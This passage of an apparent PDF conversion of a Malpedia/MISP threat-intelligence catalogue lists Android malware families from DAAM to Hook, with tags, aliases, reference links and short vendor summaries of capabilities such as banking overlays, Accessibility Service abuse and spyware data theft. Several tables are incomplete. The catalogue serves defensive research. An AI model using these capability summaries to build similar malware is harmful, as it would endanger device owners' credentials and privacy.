<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sekoia_io/status/1554086468104196096">https://twitter.com/sekoia_io/status/1554086468104196096</a></td>
</tr>
</tbody>
</table>

### DAAM

According to PCrisk, DAAM is an Android malware utilized to gain unauthorized access to targeted devices since 2021. With the DAAM Android botnet, threat actors can bind harmful code with a genuine application using its APK binding service.

Lookout refers to this malware as BouldSpy and assesses with medium confidence that this Android surveillance tool is used by the Law Enforcement Command of the Islamic Republic of Iran.
DAAM is also known as:

- BouldSpy

**Table 1675. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam">https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam</a></td>
</tr>
<tr>
<td><a href="https://www.lookout.com/blog/iranian-spyware-bouldspy">https://www.lookout.com/blog/iranian-spyware-bouldspy</a></td>
</tr>
</tbody>
</table>

**Dark Shades**

Dark Shades is also known as:

- Rogue

**Table 1676. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.darkshades">https://malpedia.caad.fkie.fraunhofer.de/details/apk.darkshades</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LukasStefanko/status/1252163657036976129">https://twitter.com/LukasStefanko/status/1252163657036976129</a></td>
</tr>
</tbody>
</table>

**DawDropper**

DawDropper is also known as:

**Table 1677. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.dawdropper">https://malpedia.caad.fkie.fraunhofer.de/details/apk.dawdropper</a></td>
</tr>
</tbody>
</table>

**DEFENSOR ID**

DEFENSOR ID is also known as:
Table 1678. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.defensor_id">https://malpedia.caad.fkie.fraunhofer.de/details/apk.defensor_id</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/">https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/</a></td>
</tr>
</tbody>
</table>

Dendroid

The tag is: `misp-galaxy:malpedia="Dendroid"`

Dendroid is also known as:

Table 1679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.dendroid">https://malpedia.caad.fkie.fraunhofer.de/details/apk.dendroid</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=a29d7d7a-f150-46cf-9bb9-a1f9f4d32a80&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=a29d7d7a-f150-46cf-9bb9-a1f9f4d32a80&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
</tbody>
</table>

dmsSpy

The tag is: `misp-galaxy:malpedia="dmsSpy"`

dmsSpy is also known as:

Table 1680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy</a></td>
</tr>
</tbody>
</table>

DoubleAgent

The tag is: `misp-galaxy:malpedia="DoubleAgent"`

DoubleAgent is also known as:
DoubleLocker

The tag is: `misp-galaxy:malpedia="DoubleLocker"`

DoubleLocker is also known as:

Dracarys

Android malware that impersonates genuine applications such as Signal, Telegram, WhatsApp, YouTube, and other chat applications and distributes through phishing sites.

The tag is: `misp-galaxy:malpedia="Dracarys"`

Dracarys is also known as:

DragonEgg

Android variant of iOs.LightSpy.

The tag is: `misp-galaxy:malpedia="DragonEgg"`

DragonEgg is also known as:

- LightSpy
DroidJack

The tag is: `misp-galaxy:malpedia="DroidJack"`

DroidJack is also known as:

*Table 1685. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidjack">https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidjack</a></td>
</tr>
<tr>
<td><a href="https://www.stratosphereips.org/blog/2021/1/22/analysis-of-droidjack-v44-rat-network-traffic">https://www.stratosphereips.org/blog/2021/1/22/analysis-of-droidjack-v44-rat-network-traffic</a></td>
</tr>
</tbody>
</table>

DroidWatcher

The tag is: `misp-galaxy:malpedia="DroidWatcher"`

DroidWatcher is also known as:

*Table 1686. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidwatcher">https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidwatcher</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf">https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf</a></td>
</tr>
</tbody>
</table>

DualToy (Android)

The tag is: `misp-galaxy:malpedia="DualToy (Android)"`

DualToy (Android) is also known as:

*Table 1687. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy</a></td>
</tr>
</tbody>
</table>

Dvmap

The tag is: `misp-galaxy:malpedia="Dvmap"`

Dvmap is also known as:
### Elibomi

The tag is: `misp-galaxy:malpedia="Elibomi"`

Elibomi is also known as:

- Drinik

### ERMAC

According to Intel471, ERMAC, an Android banking trojan enables bad actors to determine when certain apps are launched and then overwrites the screen display to steal the user's credentials.

The tag is: `misp-galaxy:malpedia="ERMAC"`

ERMAC is also known as:
**Eventbot**

According to ThreatFabric, the app overlays 15 financial targets from UK, Italy, and Spain, sniffs 234 apps from banks located in Europe as well as crypto wallets.

The tag is: `misp-galaxy:malpedia="Eventbot"`

Eventbot is also known as:

*Table 1691. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=qqwOrLR2rgU">https://www.youtube.com/watch?v=qqwOrLR2rgU</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born">https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ThreatFabric/status/1240664876558823424">https://twitter.com/ThreatFabric/status/1240664876558823424</a></td>
</tr>
</tbody>
</table>

**ExoBot**

The tag is: `misp-galaxy:malpedia="ExoBot"`

ExoBot is also known as:

*Table 1692. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/24/coper-banking-trojan/">https://blog.cyble.com/2022/03/24/coper-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/">https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/</a></td>
</tr>
</tbody>
</table>

**Exodus**

The tag is: `misp-galaxy:malpedia="Exodus"`

Exodus is also known as:
**Table 1693. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus">https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus</a></td>
</tr>
<tr>
<td><a href="https://securitywithoutborders.org/blog/2019/03/29/exodus.html">https://securitywithoutborders.org/blog/2019/03/29/exodus.html</a></td>
</tr>
</tbody>
</table>

**FaceStealer**

Facebook Credential Stealer.

The tag is: `misp-galaxy:malpedia="FaceStealer"`

FaceStealer is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer">https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/facestealer-trojan-google-play-facebook/179015/">https://threatpost.com/facestealer-trojan-google-play-facebook/179015/</a></td>
</tr>
</tbody>
</table>

**FakeAdBlocker**

The tag is: `misp-galaxy:malpedia="FakeAdBlocker"`

FakeAdBlocker is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakeadblocker">https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakeadblocker</a></td>
</tr>
</tbody>
</table>

**Fakecalls**

According to Kaspersky, Fakecalls is a Trojan that masquerades as a banking app and imitates
phone conversations with bank employees.

The tag is: misp-galaxy:malpedia="Fakecalls"

Fakecalls is also known as:

Table 1696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakecalls">https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakecalls</a></td>
</tr>
</tbody>
</table>

FakeSpy

The tag is: misp-galaxy:malpedia="FakeSpy"

FakeSpy is also known as:

Table 1697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy</a></td>
</tr>
</tbody>
</table>

FakeGram

The tag is: misp-galaxy:malpedia="FakeGram"

FakeGram is also known as:

- FakeTGram

Table 1698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram">https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram</a></td>
</tr>
</tbody>
</table>

608
FastFire

The tag is: `misp-galaxy:malpedia="FastFire"`

FastFire is also known as:

**Table 1699. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastfire">https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastfire</a></td>
</tr>
</tbody>
</table>

FastSpy

The tag is: `misp-galaxy:malpedia="FastSpy"`

FastSpy is also known as:

**Table 1700. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.fastspy</a></td>
</tr>
</tbody>
</table>

FileCoder

According to heimdal, A new strain of ransomware emerged on Android mobile devices. It targets those who are running the operating system Android 5.1 and higher. This Android ransomware strain has been dubbed by security researchers FileCoder (Android/Filecoder.c) and it spreads via text messages containing a malicious link.

The tag is: `misp-galaxy:malpedia="FileCoder"`

FileCoder is also known as:

**Table 1701. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.filecoder">https://malpedia.caad.fkie.fraunhofer.de/details/apk.filecoder</a></td>
</tr>
</tbody>
</table>
**FinFisher (Android)**

The tag is: `misp-galaxy:malpedia="FinFisher (Android)"`

FinFisher (Android) is also known as:

<table>
<thead>
<tr>
<th>Table 1702. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher">https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/finspy-unseen-findings/104322/">https://securelist.com/finspy-unseen-findings/104322/</a></td>
</tr>
<tr>
<td><a href="https://github.com/linuzifer/FinSpy-Dokumentation">https://github.com/linuzifer/FinSpy-Dokumentation</a></td>
</tr>
</tbody>
</table>

**FlexiSpy (Android)**

The tag is: `misp-galaxy:malpedia="FlexiSpy (Android)"`

FlexiSpy (Android) is also known as:

<table>
<thead>
<tr>
<th>Table 1703. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy</a></td>
</tr>
<tr>
<td><a href="https://mobisec.reyammer.io/slides">https://mobisec.reyammer.io/slides</a></td>
</tr>
</tbody>
</table>

**FlexNet**

The tag is: `misp-galaxy:malpedia="FlexNet"`

FlexNet is also known as:

- gugi

<table>
<thead>
<tr>
<th>Table 1704. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet">https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet</a></td>
</tr>
</tbody>
</table>
FluBot

PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it’s C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.

The tag is: `misp-galaxy:malpedia="FluBot"

FluBot is also known as:

- Cabassous
- FakeChat

Table 1705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/FluBot_4.pdf">https://www.prodaft.com/m/reports/FluBot_4.pdf</a></td>
</tr>
<tr>
<td><a href="https://mobile.twitter.com/alberto%3Cem%3Esegura/status/1400396365759500289">https://mobile.twitter.com/alberto&lt;em&gt;segura/status/1400396365759500289</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/alberto%3Cem%3Esegura/status/1399249798063087621?s=20">https://twitter.com/alberto&lt;em&gt;segura/status/1399249798063087621?s=20</a></td>
</tr>
</tbody>
</table>

https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/


https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06


https://www.infinitumit.com.tr/flubot-zararlisi/


https://hispacec.com/resources/FedexBanker.pdf

https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users


https://www.ncsc.admin.ch/22w12-de
FluHorse

According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.

The tag is: misp-galaxy:malpedia="FluHorse"

FlyTrap

Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading.

The tag is: misp-galaxy:malpedia="FlyTrap"
FunkyBot

The tag is: `misp-galaxy:malpedia="FunkyBot"`

FunkyBot is also known as:

Table 1708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/roaming-mantis-part-v/96250/">https://securelist.com/roaming-mantis-part-v/96250/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html">https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html</a></td>
</tr>
</tbody>
</table>

FurBall

According to Check Point, they uncovered an operation dubbed "Domestic Kitten", which uses malicious Android applications to steal sensitive personal information from its victims: screenshots, messages, call logs, surrounding voice recordings, and more. This operation managed to remain under the radar for a long time, as the associated files were not attributed to a known malware family and were only detected by a handful of security vendors.

The tag is: `misp-galaxy:malpedia="FurBall"`

FurBall is also known as:

Table 1709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball">https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball</a></td>
</tr>
<tr>
<td><a href="https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/">https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/</a></td>
</tr>
</tbody>
</table>
**Geost**

The tag is: `misp-galaxy:malpedia="Geost"`

Geost is also known as:

Table 1710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost">https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost</a></td>
</tr>
<tr>
<td><a href="https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/">https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/</a></td>
</tr>
</tbody>
</table>

**Ghimob**

The tag is: `misp-galaxy:malpedia="Ghimob"`

Ghimob is also known as:

Table 1711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghimob">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghimob</a></td>
</tr>
</tbody>
</table>

**GhostCtrl**

The tag is: `misp-galaxy:malpedia="GhostCtrl"`

GhostCtrl is also known as:

Table 1712. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl</a></td>
</tr>
</tbody>
</table>
Gigabud

Gigabud is the name of an Android Remote Access Trojan (RAT) Android that can record the victim's screen and steal banking credentials by abusing the Accessibility Service. Gigabud masquerades as banking, shopping, and other applications. Threat actors have been observed using deceptive websites to distribute Gigabud RAT.

The tag is: `misp-galaxy:malpedia="Gigabud"`

Gigabud is also known as:

**Table 1713. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud">https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/gigabud-banking-malware/">https://www.group-ib.com/blog/gigabud-banking-malware/</a></td>
</tr>
</tbody>
</table>

Ginp

Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:


The tag is: `misp-galaxy:malpedia="Ginp"`

Ginp is also known as:

**Table 1714. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/ginp/">https://muha2xmad.github.io/malware-analysis/ginp/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=WeL_xSryj8E">https://www.youtube.com/watch?v=WeL_xSryj8E</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1269945115738542080">https://twitter.com/ESETresearch/status/1269945115738542080</a></td>
</tr>
</tbody>
</table>
GlanceLove

The tag is: `misp-galaxy:malpedia="GlanceLove"`

GlanceLove is also known as:

Table 1715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove">https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove</a></td>
</tr>
<tr>
<td><a href="https://www.clearskysec.com/glancelove/">https://www.clearskysec.com/glancelove/</a></td>
</tr>
</tbody>
</table>

GnatSpy

The tag is: `misp-galaxy:malpedia="GnatSpy"`

GnatSpy is also known as:

Table 1716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.gnatspy">https://malpedia.caad.fkie.fraunhofer.de/details/apk.gnatspy</a></td>
</tr>
</tbody>
</table>

GoatRAT

The tag is: `misp-galaxy:malpedia="GoatRAT"`

GoatRAT is also known as:

Table 1717. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.goat_rat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.goat_rat</a></td>
</tr>
</tbody>
</table>
Godfather

According to PCrisk, Godfather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use Godfather to steal account credentials. Additionally, Godfather can steal SMSs, device information, and other data.

The tag is: `misp-galaxy:malpedia="Godfather"`

Godfather is also known as:

**Table 1718. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather">https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather</a></td>
</tr>
<tr>
<td><a href="https://brandefense.io/blog/godfather-android-banking-trojan/">https://brandefense.io/blog/godfather-android-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/malware-analysis/godfather/">https://muha2xmad.github.io/malware-analysis/godfather/</a></td>
</tr>
<tr>
<td><a href="https://github.com/LaurieWired/StrangeLoop">https://github.com/LaurieWired/StrangeLoop</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/godfather-trojan">https://blog.group-ib.com/godfather-trojan</a></td>
</tr>
</tbody>
</table>

GoldenEagle

The tag is: `misp-galaxy:malpedia="GoldenEagle"`

GoldenEagle is also known as:

**Table 1719. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldeneagle">https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldeneagle</a></td>
</tr>
</tbody>
</table>

GoldenRAT

The tag is: `misp-galaxy:malpedia="GoldenRAT"`

GoldenRAT is also known as:

**Table 1720. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat">https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat</a></td>
</tr>
</tbody>
</table>
**GoldDigger**

The tag is: *misp-galaxy:malpedia*="GoldDigger"

GoldDigger is also known as:

*Table 1721. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.gold_digger">https://malpedia.caad.fkie.fraunhofer.de/details/apk.gold_digger</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/golddigger-fraud-matrix/">https://www.group-ib.com/blog/golddigger-fraud-matrix/</a></td>
</tr>
</tbody>
</table>

**goontact**

The tag is: *misp-galaxy:malpedia*="goontact"

goontact is also known as:

*Table 1722. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact">https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail">https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail</a></td>
</tr>
</tbody>
</table>

**GPlayed**

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

The tag is: *misp-galaxy:malpedia*="GPlayed"

GPlayed is also known as:

*Table 1723. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed">https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/10/gplayedtrojan.html">https://blog.talosintelligence.com/2018/10/gplayedtrojan.html</a></td>
</tr>
</tbody>
</table>
**GriftHorse**

The tag is: `misp-galaxy:malpedia="GriftHorse"`

GriftHorse is also known as:

*Table 1724. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.grifthorse">https://malpedia.caad.fkie.fraunhofer.de/details/apk.grifthorse</a></td>
</tr>
</tbody>
</table>

**Guerrilla**

The tag is: `misp-galaxy:malpedia="Guerrilla"`

Guerrilla is also known as:

*Table 1725. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.guerrilla">https://malpedia.caad.fkie.fraunhofer.de/details/apk.guerrilla</a></td>
</tr>
</tbody>
</table>

**Gustuff**

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

The tag is: `misp-galaxy:malpedia="Gustuff"`

Gustuff is also known as:

*Table 1726. Table References*

| Links |
HARDRAIN (Android)

The tag is: `misp-galaxy:malpedia="HARDRAIN (Android)"

HARDRAIN (Android) is also known as:

Table 1727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain">https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/">https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990">https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990</a></td>
</tr>
</tbody>
</table>

HawkShaw

The tag is: `misp-galaxy:malpedia="HawkShaw"

HawkShaw is also known as:

Table 1728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw">https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw</a></td>
</tr>
<tr>
<td><a href="https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw">https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw</a></td>
</tr>
</tbody>
</table>

HenBox

The tag is: `misp-galaxy:malpedia="HenBox"

HenBox is also known as:
Hermit

Lookout states that Hermit is an advanced spyware designed to target iOS and Android mobile devices. It is designed to collect extensive amounts of sensitive data on its victims such as their location, contacts, private messages, photos, call logs, phone conversations, ambient audio recordings, and more.

The tag is: misp-galaxy:malpedia="Hermit"

Hermit is also known as:

HeroRAT

The tag is: misp-galaxy:malpedia="HeroRAT"

HeroRAT is also known as:

HiddenAd

The tag is: misp-galaxy:malpedia="HiddenAd"

HiddenAd is also known as:
### HilalRAT

RAT, which can be used to extract sensitive information, e.g. contact lists, txt messages, location information.

The tag is: `misp-galaxy:malpedia="HilalRAT"`

HilalRAT is also known as:

### Hook

